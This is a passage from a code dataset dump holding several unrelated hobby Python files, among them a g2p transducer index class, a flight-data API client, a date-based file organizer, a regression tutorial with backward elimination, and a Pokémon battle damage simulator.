Problems/16-3sum-closest.py","file_name":"16-3sum-closest.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"329035297","text":"'''\nClass for performing transductions based on mappings\n\n'''\nimport re\nimport copy\nfrom typing import List, Tuple, Union\nfrom collections.abc import Iterable\n\nfrom g2p.transducer.utils import convert_index_to_tuples, convert_tuples_to_index\n\n# Avoid TypeError in Python < 3.7 (see\n# https://stackoverflow.com/questions/6279305/typeerror-cannot-deepcopy-this-pattern-object)\ncopy._deepcopy_dispatch[type(re.compile(''))] = lambda r, _: r\n\nclass Indices():\n    ''' Class containing input and output states along of a Transducer along with indices\n    '''\n\n    def __init__(self, index: Union[dict, List[Tuple[Tuple[int, str], Tuple[int, str]]]]):\n        if isinstance(index, dict):\n            self.indices = convert_index_to_tuples(index)\n        else:\n            self.indices = index\n        self._input_states = sorted(\n            [io[0] for io in self.indices], key=lambda x: x[0])\n        self._output_states = sorted(\n            [io[1] for io in self.indices], key=lambda x: x[0])\n        self.condensed_input_states = [\n            list(v) for v in dict(self._input_states).items()]\n        self.condensed_output_states = [\n            list(v) for v in dict(self._output_states).items()]\n        self.filtered_condensed_input_states = [\n            list(v) for v in dict(self._input_states).items() if v[1]]\n        self.filtered_condensed_output_states = [\n            list(v) for v in dict(self._output_states).items() if v[1]]\n\n    def __repr__(self):\n        return f\"{self.__class__} object with input '{self.input()}' and output '{self.output()}'\"\n\n    def __call__(self):\n        return self.indices\n\n    def __add__(self, other):\n        return Indices(self.indices + other.indices)\n\n    def __iadd__(self, other):\n        return Indices(self.indices + other.indices)\n\n    def __iter__(self):\n        return iter(self.indices)\n\n    def reduced(self):\n        ''' Find how many indices it takes before input and output both move forward by one phone\n        '''\n        filtered = self.filter_empty_values()\n        reduced = []\n        intermediate_index = {\n            'in': filtered[0][0], 'out': filtered[0][1]}\n        for io in filtered:\n            inp = io[0]\n            outp = io[1]\n            if inp == intermediate_index['in'] and outp > intermediate_index['out']:\n                intermediate_index['out'] = outp\n            if inp > intermediate_index['in'] and outp == intermediate_index['out']:\n                intermediate_index['in'] = inp\n            if inp > intermediate_index['in'] and outp > intermediate_index['out']:\n                intermediate_index = {'in': inp, 'out': outp}\n                reduced.append(copy.deepcopy(intermediate_index))\n        reduced.append({\"in\": len(self.filtered_condensed_input_states),\n                        \"out\": len(self.filtered_condensed_output_states)})\n        reduced = [(x['in'], x['out']) for x in reduced]\n        return reduced\n\n    def filter_empty_values(self):\n        filtered = []\n        input_offset = 0\n        output_offset = 0\n        indices = self.indices\n        for io in indices:\n            if not io[0][1]:\n                # epenthesis offsets the input by -1\n                input_offset -= 1\n            elif not io[1][1]:\n                 # deletion offsets the output by -1\n                output_offset -= 1\n            else:\n                filtered.append((io[0][0] + input_offset, io[1][0] + output_offset))\n        return filtered\n\n    def input(self):\n        \"\"\" Return the input of a given transduction\n        \"\"\"\n        return ''.join([state[1] for state in self.condensed_input_states])\n\n    def output(self):\n        \"\"\" Return the output of a given transduction\n        \"\"\"\n        return ''.join([state[1] for state in self.condensed_output_states])\n\n\nclass IndexSequence():\n    '''Class containing a sequence of IO States\n    '''\n\n    def __init__(self, *args: Indices):\n        self.states = []\n        for arg in args:\n            if isinstance(arg, Indices):\n                self.states.append(arg)\n            if isinstance(arg, IndexSequence):\n                self.states += self.unpack_states(arg)\n\n    def __iter__(self):\n        return iter(self.states)\n\n    def __repr__(self):\n        return f\"{self.__class__} object with input '{self.input()}' and output '{self.output()}'\"\n\n    def unpack_states(self, seq):\n        states = []\n        for state in seq.states:\n            if isinstance(state, Indices):\n                states.append(state)\n            if isinstance(state, Iterable) and any([isinstance(x, Indices) for x in state]):\n                states += self.unpack_states(state)\n        return states\n\n    def compose_filtered_and_reduced_indices(self, i1, i2):\n        if not i1:\n            return i2\n        i2_dict = dict(i2)\n        i2_idx = 0\n        results = []\n        for i1_in, i1_out in i1:\n            highest_i2_found = 0 if not results else results[-1][1]\n            while i2_idx <= i1_out:\n                if i2_idx in i2_dict and i2_dict[i2_idx] > highest_i2_found:\n                    highest_i2_found = i2_dict[i2_idx]\n                i2_idx += 1\n            if results:\n                assert(i1_in >= results[-1][0])\n                assert(highest_i2_found >= results[-1][1])\n            results.append((i1_in, highest_i2_found))\n        return results\n\n    def input(self):\n        return self.states[0].input()\n\n    def output(self):\n        return self.states[-1].output()\n\n    def reduced(self):\n        ''' This is a reduced tuple-based format for indices. It requires that Indices in the\n        IndexSequence be composed, and then they can be reduced to a list of tuples where each\n        tuple contains an input and output index corresponding with that character. The list is equal\n        to the length of unique characters\n        '''\n        composed_states = self.compose_filtered_and_reduced_indices(self.states[0].reduced(), self.states[1].reduced())\n        counter = 2\n        while counter < len(self.states):\n            composed_states = self.compose_filtered_and_reduced_indices(\n                composed_states, self.states[counter].reduced())\n            counter += 1\n        return composed_states\n","sub_path":"g2p/transducer/indices.py","file_name":"indices.py","file_ext":"py","file_size_in_byte":6191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"377121171","text":"import pprint\n\ndef todict_nested(key, value, dic):\n    keys = key.split('/')\n    head = keys[0]\n    tail = keys[1:]\n    if not tail:\n        dic[head] = value\n    else:\n        if head not in dic:\n            dic[head] = {}\n        todict_nested('/'.join(tail), value, dic[head])\n\ndef todict(kvmap):\n    dic = {}\n    for key, value in kvmap.iteritems():\n        todict_nested(key[1:], value, dic)\n    return dic\n\ndef todictofarrays(kvmap):\n    \"\"\" return a dictionnary of arrays based on the kvmap protocol:\n        /obj_class/obj_id/obj_state:value\n        used for jQuery plugin DataTables \"\"\"\n    dic = {}\n    temp_dic = {}\n    for key,value in kvmap.iteritems():\n        keys = key[1:].split('/')\n        obj_class = keys[0]\n        obj_id = keys[1]\n        obj_state = keys[2]\n        if obj_id not in temp_dic:\n            temp_dic[obj_id] = {\"class\": obj_class, \"id\": obj_id}\n        temp_dic[obj_id][obj_state] = value\n    for obj_id, obj_dic in temp_dic.iteritems():\n        obj_class = obj_dic[\"class\"]\n        del obj_dic[\"class\"]\n        if obj_class not in dic:\n            dic[obj_class] = []\n        dic[obj_class].append(obj_dic)\n    return dic\n\n# for testing\nif __name__ == '__main__':\n    import pprint\n    kvmap = {\n        '/jobs/1234/status':'PENDING',\n        '/jobs/1234/result':23,\n        '/jobs/5677/status':'RUNNING',\n        '/workers/666/status':'READY'}\n    dic = todictofarrays(kvmap)\n    pprint.pprint(dic)\n","sub_path":"src/sharkgrid/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"138646575","text":"import requests\nfrom secrets_info import api_key\n\n# url = \"http://api.aviationstack.com/v1/flights?access_key={}&dep_iata=JNB&limit=10\".format(api_key)\n\nurl = \"http://api.aviationstack.com/v1/cities?access_key={}&search=johannesburg\".format(api_key)\n\n# r = requests.get(url)\n\n# print(r.json())\n# print(dir(r))\n\n\nclass Flights:\n    \n    def __init__(self) -> None:\n        self.base_url = \"http://api.aviationstack.com/v1/flights?access_key={}\".format(api_key)\n\n\n    def get_flights(self, depature_iata, arrival_iata):\n        \"\"\"\n            icao is the code that identifies each airport,\n            date,\n            flight status can be [ scheduled, active, landed, cancelled, incident, diverted ]\n        \"\"\"\n        url = self.base_url + \"&dep_iata={}&arr_iata={}&limit=10\".format(depature_iata, arrival_iata)\n        resp = requests.get(url)\n        if resp.status_code == 200:\n            return resp.json()\n        else:\n            print(resp.status_code)\n            return None\n\n    @staticmethod\n    def clean_json(data):\n        # data.json())\n        results = []\n        if data['data']:\n            for d in data['data']:\n                results.append(\n                    { \n                        'flight_date' : d['flight_date'], \n                        'flight_status' : d['flight_status'],\n                        'departure' : d['departure']['airport'],\n                        'dep_time':d['departure']['estimated'],\n                        'arr_time':d['arrival']['estimated'],\n                        'arrival' : d['arrival']['airport'],\n                        'airline': d['airline']['name'],\n                        'flight_no': d['flight']['number']\n                    }\n                )\n        return results\n\n\n# f = Flights()\n# r = f.get_flights('JNB', 'CPT').json()\n# print(f.clean_json(r))","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"587450379","text":"#!usr/bin/env python\r\n\r\nimport os, shutil\r\nimport datetime\r\nimport send2trash\r\n\r\n#palauttaa tämänhetkisen päivämäärän muodossa YYMMDD\r\n#en tiä tarvitaanko tätä ikinä missään\r\ndef pvm():\r\n    pvm = datetime.datetime.now()\r\n    v = str(pvm.year)\r\n    k = pvm.month\r\n    p = pvm.day\r\n    tunniste = v[2:] + '%02d%02d' % (k, p)\r\n    return tunniste\r\n\r\n#palauttaa fileen viimeisimmän muokkauspäivämäärän (YYMMDD)\r\n#luomispäivämäärää niissä ei jostain syystä ole\r\n#(fm = fileen muokkaus)\r\ndef fm_pvm(file):\r\n    pvm = datetime.datetime.fromtimestamp(os.path.getmtime(file))\r\n    v = str(pvm.year)\r\n    k = pvm.month\r\n    p = pvm.day\r\n    tunniste = v[2:] + '%02d%02d' % (k, p)  #lisää nollat jos p||k < 10\r\n    return tunniste\r\n\r\n#tän kanssa pitää sit kans ettiä zoomin kansio\r\na_kansio = os.getcwd()\r\n\r\ndef kansionselaaja(kansio):\r\n    global a_kansio\r\n    os.chdir(kansio)\r\n\r\n    print('aloitetaan kopiointi...')\r\n\r\n    for file in os.listdir():\r\n        t_kansio = fm_pvm(file)\r\n        polku = os.path.join(a_kansio, 'Kirjasto', t_kansio)\r\n\r\n        if os.path.isdir(polku):\r\n            shutil.copy(file, polku)\r\n            #send2trash.send2trash(file)\r\n        else:\r\n            os.makedirs(polku)\r\n            shutil.copy(file, polku)\r\n            #send2trash.send2trash(file)\r\n\r\n    print('valmis!')\r\n\r\nif __name__ == '__main__':\r\n    print(pvm())\r\n    kansionselaaja(os.path.join(a_kansio, 'Kaaos'))\r\n","sub_path":"funk.py","file_name":"funk.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"444179470","text":"import json\nimport csv\n\nquestions = {}\ntags = json.load(open(\"../tags.json\",\"rb\"))\nfor i in xrange(1,6):\n\twith open(str(i)+\".csv\",\"rb\") as quesdata:\n\t\ta = [x for x in csv.reader(quesdata)]\n\t\tfor j in xrange(1,len(a)):\n\t\t\tques_id = a[j][0]\n\t\t\trel_tags = a[j][16]\n\t\t\trel_tags = rel_tags.split(\"<\")\n\t\t\trel_tags =  [ x[:-1] for x in rel_tags[1:]]\n\t\t\tquestions[ques_id] = []\n\t\t\tfor k in rel_tags:\n\t\t\t\tif tags.has_key(k):\n\t\t\t\t\tquestions[ques_id].append(tags[k])\n\nwith open(\"question_tags.json\",\"wb\") as final:\n\tjson.dump(questions,final)\n\t\t\n","sub_path":"data_positive/get_related.py","file_name":"get_related.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"111383397","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr  3 11:55:32 2020\n\n@author: al_la\n\"\"\"\n\n\n# Plantilla de Regresion lineal multiple\n\n# Como importar las librerias\nimport numpy as np\nimport matplotlib.pyplot as plt    \nimport pandas as pd        \n\n# Importar el dataset\ndataset = pd.read_csv('50_Startups.csv')\n# dataset = dataset[,2:3]\n\nX = dataset.iloc[:, :-1].values\ny = dataset.iloc[: , 4].values\n\n\n# Codificar datos categóricos\nfrom sklearn import preprocessing\nle_X = preprocessing.LabelEncoder()\n# se cambia a 3 \nX[:,3] = le_X.fit_transform(X[:,3])\n\n\n# Codificar con variables dummy\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.compose import make_column_transformer\n# se cambia al 3\nonehotencoder = make_column_transformer((OneHotEncoder(), [3]), remainder = \"passthrough\")\nX = onehotencoder.fit_transform(X)\n\n# Evitar la trampa de las variables Dummy,  se debe de eliminar una\nX = X[:, 1:]\n\n# En este ejemplo no se categoriza la variable dependiente\nle_y = preprocessing.LabelEncoder()\ny = le_y.fit_transform(y)\n\n\n# Dividir el dataset en connjunto de entrenamiento y conjunto de testing\n# Los train y test son los sets que se usarán para entrenar y probar el modelo \nfrom sklearn.model_selection import train_test_split\n# El text_size indica que el 20 por ciento de los datos de X se utilizarán para testear el modelo, normalmente se usa entre 20 y 30 por mucho\n# random_state se usa para evitar la aleatoriedad\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2 , random_state = 0)\n\n\n# No se escalan los datos en este ejemplo\n'''\n# Escaldo de variables\n# Standarización, esto ayuda a que los modeos converjan mas rapidamente\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\n'''\n# --------------------------------------\n \n# Ajustar el modelo de Regresión lineal multiple con el conjunto de entrenamiento\nfrom sklearn.linear_model import LinearRegression\nregression = LinearRegression()\nregression.fit(X_train, y_train)\n\n# Paso 52\n\n# Predicción de los resultados en el conjunto de Testing\ny_pred = regression.predict(X_test)\n\n# Paso 53 Eliminación hacia atrás\n# Dar un paso hacia atrás, para validar si todas las variables son necesarias.\n# COnstruir el modelo ótipo de RLM utilizando la Eliminación hacia atrás\n\n# Paso 53\n# Se agrega el vector de 1´s al inicio\nimport statsmodels.regression.linear_model as sm\n# agregar una columna con 1´s y asociarla a nuestro coeficiente del termino independiente.\nX = np.append(arr = np.ones((50,1)).astype(int), values = X, axis = 1)\n\n# Paso 54\n# Definir nivel de significación (confianza)\nSL = 0.05\n# Matriz de caracteristicas óptima\nX_opt = X[:, [0,1,2,3,4,5]]\nX_opt = np.array(X_opt, dtype=float)\n# Realiazar nuevo Regression\n# Librería para OLS Ordinary Least Squares\n# Se le manda Varable endogena y extrogena\nregression_OLS = sm.OLS(endog=y, exog=X_opt).fit()\n\nregression_OLS.summary()\n# De inicio se nota que las variables significativas serían const y X2\n# Eliminar la varibale predictora con el P-valor más alto, en este caso es X2 y ajustar el nuevo modelo\n\n\nX_opt = X[:, [0,1,3,4,5]]\nX_opt = np.array(X_opt, dtype=float)\nregression_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregression_OLS.summary()\n# Los resultados muestran que se deberia de eliminar X1\n'''\n==============================================================================\n                 coef    std err          t      P>|t|      [0.025      0.975]\n------------------------------------------------------------------------------\nconst       5.011e+04   6647.870      7.537      0.000    3.67e+04    6.35e+04\nx1           220.1585   2900.536      0.076      0.940   -5621.821    6062.138\nx2             0.8060      0.046     17.606      0.000       0.714       0.898\nx3            -0.0270      0.052     -0.523      0.604      -0.131       0.077\nx4             0.0270      0.017      1.592      0.118      -0.007       0.061  El cero no debería de entrar en el intervalo de confianza\n==============================================================================\n'''\n\nX_opt = X[:, [0,3,4,5]]\nX_opt = np.array(X_opt, dtype=float)\nregression_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregression_OLS.summary()\n\n# Paso 55\n'''\n==============================================================================\n                 coef    std err          t      P>|t|      [0.025      0.975]\n------------------------------------------------------------------------------\nconst       5.012e+04   6572.353      7.626      0.000    3.69e+04    6.34e+04\nx1             0.8057      0.045     17.846      0.000       0.715       0.897\nx2            -0.0268      0.051     -0.526      0.602      -0.130       0.076\nx3             0.0272      0.016      1.655      0.105      -0.006       0.060\n==============================================================================\n'''\n\nX_opt = X[:, [0,3,5]]\nX_opt = np.array(X_opt, dtype=float)\nregression_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregression_OLS.summary()\n\n'''\n==============================================================================\n                 coef    std err          t      P>|t|      [0.025      0.975]\n------------------------------------------------------------------------------\nconst       4.698e+04   2689.933     17.464      0.000    4.16e+04    5.24e+04\nx1             0.7966      0.041     19.266      0.000       0.713       0.880\nx2             0.0299      0.016      1.927      0.060      -0.001       0.061\n==============================================================================\n'''\n\n# Si se elimina X2 se quedaría un modelo de regresion simple, para el ejemplo se va a quitar, pero \n# se revisaran mejores criterios en el futuro\nX_opt = X[:, [0,3]]\nX_opt = np.array(X_opt, dtype=float)\nregression_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregression_OLS.summary()\n\n'''\n==============================================================================\n                 coef    std err          t      P>|t|      [0.025      0.975]\n------------------------------------------------------------------------------\nconst       4.903e+04   2537.897     19.320      0.000    4.39e+04    5.41e+04\nx1             0.8543      0.029     29.151      0.000       0.795       0.913\n==============================================================================\n'''\n\n\n\n# Eliminación hacia atrás utilizando solamente p-valores:\nimport statsmodels.formula.api as sm\ndef backwardElimination(x, sl):    \n    numVars = len(x[0])    \n    for i in range(0, numVars):        \n        regressor_OLS = sm.OLS(y, x.tolist()).fit()        \n        maxVar = max(regressor_OLS.pvalues).astype(float)        \n        if maxVar > sl:            \n            for j in range(0, numVars - i):                \n                if (regressor_OLS.pvalues[j].astype(float) == maxVar):                    \n                    x = np.delete(x, j, 1)    \n    regressor_OLS.summary()    \n    return x \n \nSL = 0.05\nX_opt = X[:, [0, 1, 2, 3, 4, 5]]\nX_Modeled = backwardElimination(X_opt, SL)\n\n# Eliminación hacia atrás utilizando  p-valores y el valor de  R Cuadrado Ajustado:\nimport statsmodels.formula.api as sm\ndef backwardElimination(x, SL):    \n    numVars = len(x[0])    \n    temp = np.zeros((50,6)).astype(int)    \n    for i in range(0, numVars):        \n        regressor_OLS = sm.OLS(y, x.tolist()).fit()        \n        maxVar = max(regressor_OLS.pvalues).astype(float)        \n        adjR_before = regressor_OLS.rsquared_adj.astype(float)        \n        if maxVar > SL:            \n            for j in range(0, numVars - i):                \n                if (regressor_OLS.pvalues[j].astype(float) == maxVar):                    \n                    temp[:,j] = x[:, j]                    \n                    x = np.delete(x, j, 1)                    \n                    tmp_regressor = sm.OLS(y, x.tolist()).fit()                    \n                    adjR_after = tmp_regressor.rsquared_adj.astype(float)                    \n                    if (adjR_before >= adjR_after):                        \n                        x_rollback = np.hstack((x, temp[:,[0,j]]))                        \n                        x_rollback = np.delete(x_rollback, j, 1)     \n                        print (regressor_OLS.summary())                        \n                        return x_rollback                    \n                    else:                        \n                        continue    \n    regressor_OLS.summary()    \n    return x \n \nSL = 0.05\nX_opt = X[:, [0, 1, 2, 3, 4, 5]]\nX_Modeled = backwardElimination(X_opt, SL)\n","sub_path":"datasets/Part 2 - Regression/Section 5 - Multiple Linear Regression/Regresion_linear_multiple.py","file_name":"Regresion_linear_multiple.py","file_ext":"py","file_size_in_byte":8642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"213701206","text":"# %%\nfrom elepoke import *\nfrom math import floor\n\n\nclass SuperElepoke(Elepoke):\n    def __init__(self, datas=pd.read_csv(\"./data/pokemon.csv\", index_col=0)):\n        super().__init__(datas)\n\n    def _winRate(self, pokemon: list, iteration: int = 10, show: bool = False) -> list:\n        # ポケモンの情報を取得\n        poke1 = self._spec(pokemon[0])\n        poke2 = self._spec(pokemon[1])\n\n        # ポケモンの名前からタイプを取得\n        poke1_types = [poke1[\"type1_int\"], poke1[\"type2_int\"]]\n        poke2_types = [poke2[\"type1_int\"], poke2[\"type2_int\"]]\n\n        # 攻撃と特攻の種族値を比較し、攻撃技or特攻技を決定\n        if poke1[\"a\"] >= poke1[\"c\"]:\n            skill1 = \"a\"\n        else:\n            skill1 = \"c\"\n        if poke2[\"a\"] >= poke2[\"c\"]:\n            skill2 = \"a\"\n        else:\n            skill2 = \"c\"\n\n        # タイプ一致技からよりダメージの通る技のタイプを決定\n        # 一匹目\n        dmList = []\n        for item in poke1_types:\n            if item != -1:\n                if skill1 == \"a\":\n                    attack1 = poke1[\"a\"]\n                    defence2 = poke2[\"b\"]\n                else:\n                    attack1 = poke1[\"c\"]\n                    defence2 = poke2[\"d\"]\n\n                # タイプ相性による倍率のセット\n                rate = 1.5\n                rate *= getCompatibility(item, poke2_types[0])\n                if poke2_types[1] != -1:\n                    rate *= getCompatibility(item, poke2_types[1])\n\n                dm = damage(100, skill1, attack1, defence2, rate)\n                dmList.append(dm)\n\n        # ダメージを比較してタイプを決定\n        if len(dmList) == 2:\n            if dmList[0] < dmList[1]:\n                poke1_type = poke1_types[1]\n            else:\n                poke1_type = poke1_types[0]\n        else:\n            poke1_type = poke1_types[0]\n\n        # 二匹目\n        dmList = []\n        for item in poke2_types:\n            if item != -1:\n                if skill2 == \"a\":\n                    attack2 = poke2[\"a\"]\n                    defence1 = poke1[\"b\"]\n                else:\n                    attack2 = poke2[\"c\"]\n                    defence1 = poke1[\"d\"]\n\n                # タイプ相性による倍率のセット\n                rate = 1.5\n                rate *= getCompatibility(item, poke1_types[0])\n                if poke1_types[1] != -1:\n                    rate *= getCompatibility(item, poke1_types[1])\n\n                dm = damage(100, skill1, attack2, defence1, rate)\n                dmList.append(dm)\n\n        # ダメージを比較してタイプを決定\n        if len(dmList) == 2:\n            if dmList[0] < dmList[1]:\n                poke2_type = poke2_types[1]\n            else:\n                poke2_type = poke2_types[0]\n        else:\n            poke2_type = poke2_types[0]\n\n        # <-- 対面対戦の開始  -->\n        if show:\n            print(\"{} vs {}\\n\".format(pokemon[0], pokemon[1]))\n\n        dead1 = False\n        dead2 = False\n\n        # HPの初期化\n        HP1 = poke1[\"h\"]\n        HP2 = poke2[\"h\"]\n        if show:\n            print(\"{} HP: {}\".format(pokemon[0], HP1))\n        if show:\n            print(\"{} HP: {}\\n\".format(pokemon[1], HP2))\n\n        # 総ダメージ\n        sum1 = 0\n        sum2 = 0\n\n        # 各ターンの結果を格納\n        result = [dead1, dead2, HP1, HP2, sum1, sum2]\n\n        # poke1の攻撃\n        def action1(dead1, dead2, HP1, HP2, sum1, sum2):\n            if not(dead1):\n                if show:\n                    print(\"> {}の攻撃！\".format(pokemon[0]))\n                rate = getCompatibility(poke1_type, poke2_types[0])\n                if poke2_types[1] != -1:\n                    rate *= getCompatibility(poke1_type, poke2_types[1])\n                if show:\n                    if rate >= 2:\n                        print(\"> 効果は抜群だ！\")\n                    elif rate <= 0.5:\n                        print(\"> 効果はいまひとつだ！\")\n                    elif rate == 0:\n                        print(\"> 効果は無いようだ！\")\n                rate *= 1.5\n                dm = damage(100, skill1, attack1, defence2, rate)\n                if show:\n                    print(\"> {}は{}ダメージを受けた！\".format(pokemon[1], dm))\n                sum1 += dm\n                HP2 -= dm\n                # 生死判定\n                if (HP2 <= 0):\n                    dead2 = True\n                    HP2 = poke2[\"h\"]\n                    if show:\n                        print(\"{} HP: {}\".format(pokemon[1], 0))\n                        print(\"> {}は倒れた!\\n\".format(pokemon[1]))\n                else:\n                    if show:\n                        print(\"{} HP: {}\\n\".format(pokemon[1], HP2))\n            else:\n                dead1 = False\n\n            return [dead1, dead2, HP1, HP2, sum1, sum2]\n\n        # poke2の攻撃\n        def action2(dead1, dead2, HP1, HP2, sum1, sum2):\n            if not(dead2):\n                if show:\n                    print(\"> {}の攻撃！\".format(pokemon[1]))\n                rate = getCompatibility(poke2_type, poke1_types[0])\n                if poke1_types[1] != -1:\n                    rate *= getCompatibility(poke2_type, poke1_types[1])\n                if show:\n                    if rate >= 2:\n                        print(\"> 効果は抜群だ！\")\n                    elif rate <= 0.5:\n                        print(\"> 効果はいまひとつだ！\")\n                    elif rate == 0:\n                        print(\"> 効果は無いようだ！\")\n                rate *= 1.5\n                dm = damage(100, skill1, attack2, defence1, rate)\n                if show:\n                    print(\"> {}は{}ダメージを受けた！\".format(pokemon[0], dm))\n                sum2 += dm\n                HP1 -= dm\n                # 生死判定\n                if (HP1 <= 0):\n                    dead1 = True\n                    HP1 = poke1[\"h\"]\n                    if show:\n                        print(\"{} HP: {}\".format(pokemon[0], 0))\n                        print(\"> {}は倒れた!\\n\".format(pokemon[0]))\n                else:\n                    if show:\n                        print(\"{} HP: {}\\n\".format(pokemon[0], HP1))\n            else:\n                dead2 = False\n\n            return [dead1, dead2, HP1, HP2, sum1, sum2]\n\n        for i in range(iteration):\n            if show:\n                print(\"--------------------------------------\")\n                print(\"[{}ターン目]\".format(i+1))\n                print(\"--------------------------------------\\n\")\n\n            if poke1[\"s\"] > poke2[\"s\"]:\n                # poke1の攻撃\n                result = action1(\n                    result[0], result[1], result[2], result[3], result[4], result[5])\n                # poke2の攻撃\n                result = action2(\n                    result[0], result[1], result[2], result[3], result[4], result[5])\n\n            elif poke1[\"s\"] < poke2[\"s\"]:\n                # poke2の攻撃\n                result = action2(\n                    result[0], result[1], result[2], result[3], result[4], result[5])\n                # poke1の攻撃\n                result = action1(\n                    result[0], result[1], result[2], result[3], result[4], result[5])\n\n            else:\n                # 同速対決\n                rand = np.random.randint(0, 2)\n                if rand:\n                    # poke1の攻撃\n                    result = action1(\n                        result[0], result[1], result[2], result[3], result[4], result[5])\n                    # poke2の攻撃\n                    result = action2(\n                        result[0], result[1], result[2], result[3], result[4], result[5])\n                else:\n                    # poke2の攻撃\n                    result = action2(\n                        result[0], result[1], result[2], result[3], result[4], result[5])\n                    # poke1の攻撃\n                    result = action1(\n                        result[0], result[1], result[2], result[3], result[4], result[5])\n\n        # 平均を算出\n        average1 = result[4] / iteration\n        average2 = result[5] / iteration\n\n        return [average1, average2]\n\n    def _calc(self) -> list:\n        \"\"\"アルゴリズムのテンプレート\n\n        Returns:\n            list -- 計算結果\n        \"\"\"\n        # 初期化\n        self.result = [[], []]\n\n        # 結果格納用の配列\n        myPokeList = []\n        opPokeList = []\n\n        # ここに計算処理を記述する\n\n        # ポケモンの数をカウント\n        mypoke_count = 0\n        oppoke_count = 0\n        for poke in self.pokemon[0]:\n            if poke:\n                mypoke_count += 1\n        for poke in self.pokemon[1]:\n            if poke:\n                oppoke_count += 1\n\n        # ダメージをセット\n        op_dm_list = [0, 0, 0, 0, 0, 0]\n        for my_index, mypoke in enumerate(self.pokemon[0]):\n            my_dm = 0\n            for op_index, oppoke in enumerate(self.pokemon[1]):\n                if mypoke and oppoke:\n                    results = self._winRate([mypoke, oppoke])\n                else:\n                    results = [0, 0]\n                my_dm += results[0]\n                op_dm_list[op_index] += results[1]\n            my_average = floor(my_dm / oppoke_count)\n            poke = {\"index\": my_index, \"name\": mypoke,\n                    \"Evaluation\": my_average}\n            myPokeList.append(poke)\n\n        for op_index, oppoke in enumerate(self.pokemon[1]):\n            op_average = floor(op_dm_list[op_index] / mypoke_count)\n            poke = {\"index\": op_index, \"name\": oppoke,\n                    \"Evaluation\": op_average}\n            opPokeList.append(poke)\n\n        # 順位の設定\n        myPokeList.sort(key=lambda x: x['Evaluation'], reverse=True)\n        for index, mypoke in enumerate(myPokeList):\n            if mypoke[\"name\"]:\n                mypoke['rank'] = index + 1\n            else:\n                mypoke['rank'] = 0\n        myPokeList.sort(key=lambda x: x['index'])\n\n        opPokeList.sort(key=lambda x: x['Evaluation'], reverse=True)\n        for index, oppoke in enumerate(opPokeList):\n            if oppoke[\"name\"]:\n                oppoke['rank'] = index + 1\n            else:\n                oppoke['rank'] = 0\n        opPokeList.sort(key=lambda x: x['index'])\n\n        # 結果をセット\n        self.result = [myPokeList, opPokeList]\n\n        return self.result\n\n\n# %%\nSuperElepoke()._winRate([\"ルカリオ\", \"クレセリア\"], show=True)\n\n\n# %%\nprint(\"iter: 10\", SuperElepoke()._winRate([\"ルカリオ\", \"ルカリオ\"], iteration=10))\nprint(\"iter: 100\", SuperElepoke()._winRate([\"ルカリオ\", \"ルカリオ\"], iteration=100))\nprint(\"iter: 1000\", SuperElepoke()._winRate([\"ルカリオ\", \"ルカリオ\"], iteration=1000))\n\n\n# %%\nmypokeList = [\"ヒートロトム\", \"アイアント\", \"ローブシン\", \"ゴリランダー\", \"バイウールー\", \"トゲキッス\"]\noppokeList = [\"タチフサグマ\", \"ワタシラガ\", \"ウォッシュロトム\", \"アイアント\", \"ドリュウズ\", \"リザードン\"]\n\n# Elepokeモデルを初期化\nel = SuperElepoke()\n# el = Elepoke()\n\n# セット\nel.append(name=[mypokeList, oppokeList], reset=True)\n\n# 計算\nel.fit()\n\n# 結果\nfor item in el.result[0]:\n    print(item)\n\nprint(\"\")\n\nfor item in el.result[1]:\n    print(item)\n\n\n# %%\n","sub_path":"algorithms/ohira2.py","file_name":"ohira2.py","file_ext":"py","file_size_in_byte":11467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
